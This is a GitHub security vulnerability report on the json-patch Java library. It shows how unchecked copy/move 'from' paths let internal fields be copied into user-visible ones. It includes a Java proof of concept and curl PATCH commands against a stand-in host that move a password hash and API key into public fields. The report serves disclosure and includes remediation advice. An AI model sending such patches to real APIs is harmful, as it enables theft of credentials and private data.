Repository navigation
[Security] Unrestricted Copy/Move Operations Enable Intra-Document Data Exfiltration #170
Description
Security Vulnerability Report
Metadata
| Field | Value |
|---|---|
| Affected Version | 1.13 (latest on Maven Central) |
| Component | CopyOperation.apply() / MoveOperation.apply() |
| File | src/main/java/com/github/fge/jsonpatch/CopyOperation.java:57 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) |
Summary
The copy and move operations in JSON Patch accept any from path without access control validation. An attacker can use copy to read values from internal/sensitive fields and write them to user-visible locations, effectively exfiltrating data that should not be accessible. The library provides no mechanism to restrict which paths can be used as from sources.
Root Cause
// src/main/java/com/github/fge/jsonpatch/CopyOperation.java:57
@Override
public JsonNode apply(final JsonNode node) throws JsonPatchException {
final JsonNode dupData = path.path(node).resolve(from, node).deepCopy();
// 'from' is entirely user-controlled — no access control check!
return new AddOperation(path, dupData).apply(node);
}The from field is taken directly from user input. No validation checks whether the caller should have read access to the source path. Any field in the document — including internal, system, or privileged fields — can be copied to a user-visible location.
Proof of Concept
Runtime verified on VM with OpenJDK 21:
--- Test 6: Copy Operation Data Exfiltration ---
Original: {"public":{"name":"Alice"},"internal":{"passwordHash":"$2b$10$secret","apiKey":"sk-12345"}}
After patch: {"public":{"name":"Alice","bio":"$2b$10$secret","website":"sk-12345"},"internal":{"passwordHash":"$2b$10$secret","apiKey":"sk-12345"}}
VULNERABLE: Copied internal fields to public (bio=$2b$10$secret)
Minimal reproduction:
import com.github.fge.jsonpatch.JsonPatch;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
ObjectMapper mapper = new ObjectMapper();
// Server-side document with public and internal sections
JsonNode document = mapper.readTree(
"{\"public\":{\"name\":\"Alice\"},\"internal\":{\"passwordHash\":\"$2b$10$secret\",\"apiKey\":\"sk-12345\"}}");
// Attacker-supplied patch: copy internal secrets to public-visible fields
JsonNode patchNode = mapper.readTree("[" +
"{\"op\":\"copy\",\"from\":\"/internal/passwordHash\",\"path\":\"/public/bio\"}," +
"{\"op\":\"copy\",\"from\":\"/internal/apiKey\",\"path\":\"/public/website\"}" +
"]");
JsonPatch patch = JsonPatch.fromJson(patchNode);
JsonNode result = patch.apply(document);
// result.public.bio = "$2b$10$secret" (password hash exfiltrated!)
// result.public.website = "sk-12345" (API key exfiltrated!)
// If the API returns the public section to the user, secrets are exposed.Attack scenario:
# Attacker with role=viewer, can only see /public fields in API response
curl -X PATCH 'https://target.com/api/users/me' \
-H "Authorization: Bearer viewer_token" \
-H "Content-Type: application/json-patch+json" \
-d '[
{"op":"copy","from":"/internal/passwordHash","path":"/public/bio"},
{"op":"copy","from":"/internal/apiKey","path":"/public/website"}
]'
# GET response only returns /public section:
curl 'https://target.com/api/users/me'
# {"public":{"name":"Alice","bio":"$2b$10$secret","website":"sk-12345"}}
# Attacker now has the password hash and API key!RFC 6902 Compliance Note
This behavior is compliant with RFC 6902 Section 4.5 (Copy). However:
- The library provides no access control callback for the
fromfield - No mechanism exists to restrict which paths are readable via copy/move
- The library does not document that
fromis a read-access vector requiring authorization - In field-level-access-controlled applications (multi-tenant, API partial responses), this is a real data exfiltration vector
Impact
- Credential exfiltration: Password hashes, API keys, tokens copied to visible fields
- Cross-tenant data access: In multi-tenant documents, copy from another tenant's section
- PII exposure: Internal fields (SSN, medical records) copied to public-facing fields
- Affects: All applications with field-level access control that apply user-supplied JSON Patch
Suggested Remediation
- Add a path-access-control callback interface:
public interface PatchPathAccessControl {
boolean canRead(JsonPointer from, Object context);
boolean canWrite(JsonPointer path, Object context);
}
// Usage:
JsonPatch.builder()
.accessControl(new MyAccessControl())
.build(patchNode)
.apply(document);- Add a
frompath restriction option:
JsonPatch.builder()
.allowedFromPaths("/public/**") // Only public fields can be copy sources
.build(patchNode);- Document the risk prominently:
WARNING: The "from" field in copy/move operations is a read-access vector.
Applications with field-level access control MUST validate "from" paths
against the caller's read permissions before applying patches.
References
- RFC 6902 Section 4.5 (Copy): https://www.rfc-editor.org/rfc/rfc6902#section-4.5
- CWE-639: https://cwe.mitre.org/data/definitions/639.html
- Related: Issue [Security] Mass Assignment via Empty-Path Add Operation Enables Full Document Replacement #169 (Mass Assignment via empty-path add — same library, different vector)
Activity
TonyOlaCodes commentedon Sep 28, 2026
Hi, we're currently using json-patch 1.13 and have been impacted by CVE-2026-86512 (improper access controls via Copy/Move operations). We've checked and there's no patched release available. Could you share whether a fix is being worked on and if there's an expected timeline for a release? We'd really appreciate any update. Thanks!